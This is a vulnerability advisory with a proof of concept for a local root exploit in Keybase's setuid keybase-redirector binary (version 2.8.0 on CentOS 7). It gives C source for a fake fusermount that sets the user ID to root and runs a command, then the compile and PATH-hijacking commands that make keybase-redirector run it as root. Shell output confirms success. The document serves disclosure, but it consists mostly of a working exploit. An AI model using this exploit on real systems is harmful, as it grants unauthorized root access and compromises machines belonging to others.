Keybase keybase-redirector - '$PATH' Local Privilege Escalation

keybase-redirector is a setuid root binary. keybase-redirector calls the fusermount binary using a relative path and the application trusts the value of $PATH. This allows a local, unprivileged user to trick the application to executing a custom fusermount binary as root.

## Environment

CentOS Linux release 7.4.1708 (Core)
3.10.0-693.17.1.el7.x86_64

RPM info

```
Name        : keybase
Version     : 2.8.0.20181017144746.3efc4cbf3c
Release     : 1
Architecture: x86_64
Install Date: Mon 22 Oct 2018 05:30:36 PM EDT
Group       : Unspecified
Size        : 273302678
License     : BSD
Signature   : RSA/SHA256, Wed 17 Oct 2018 10:55:21 AM EDT, Key ID 47484e50656d16c7
Source RPM  : keybase-2.8.0.20181017144746.3efc4cbf3c-1.src.rpm
Build Date  : Wed 17 Oct 2018 10:54:47 AM EDT
Build Host  : 6ae61e160e87
Relocations : (not relocatable)
Summary     : Keybase command line client
Description :
Keybase command line client
```

An unprivileged user named user1 is used for this PoC.

## Steps to reproduce

1) Display privileges of user 1 - execute the id command

```
[user1@localhost woot]$ id
uid=1000(user1) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```

2) Create a custom fusermount application. This PoC will create /w00t as root. Arbitrary commands can be executed.

```
cat >fusermount.c<<EOF
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argc, char **argv)
{
  setreuid(0,0);
  system("/usr/bin/touch /w00t");
  return(0);
}
EOF
``

3) Compile fusermount.c

```
gcc -Wall fusermount.c -o fusermount
```

4) Verify that /w00t does not exist.

```
[user1@localhost woot]$ ls -ld /w00t
ls: cannot access /w00t: No such file or directory
```

5) Prepend the PATH environment variable with a dot(for current working directory) and execute keybase-redirector which in turn will execute the malicious fusermount binary as root.

```
env PATH=.:$PATH /usr/bin/keybase-redirector /keybase
```

6) Enter the control-c sequence to kill the application.

```
[user1@localhost woot]$ env PATH=.:$PATH /usr/bin/keybase-redirector /keybase
^C
```

7) Verify that /w00t exists

```
[user1@localhost woot]$ ls -ld /w00t
-rw-rw-r--. 1 root user1 0 Oct 22 16:34 /w00t
[user1@localhost woot]$
```

## Impact

Unauthorized root access is possible which impacts the confidentially, integrity, and availability of the system.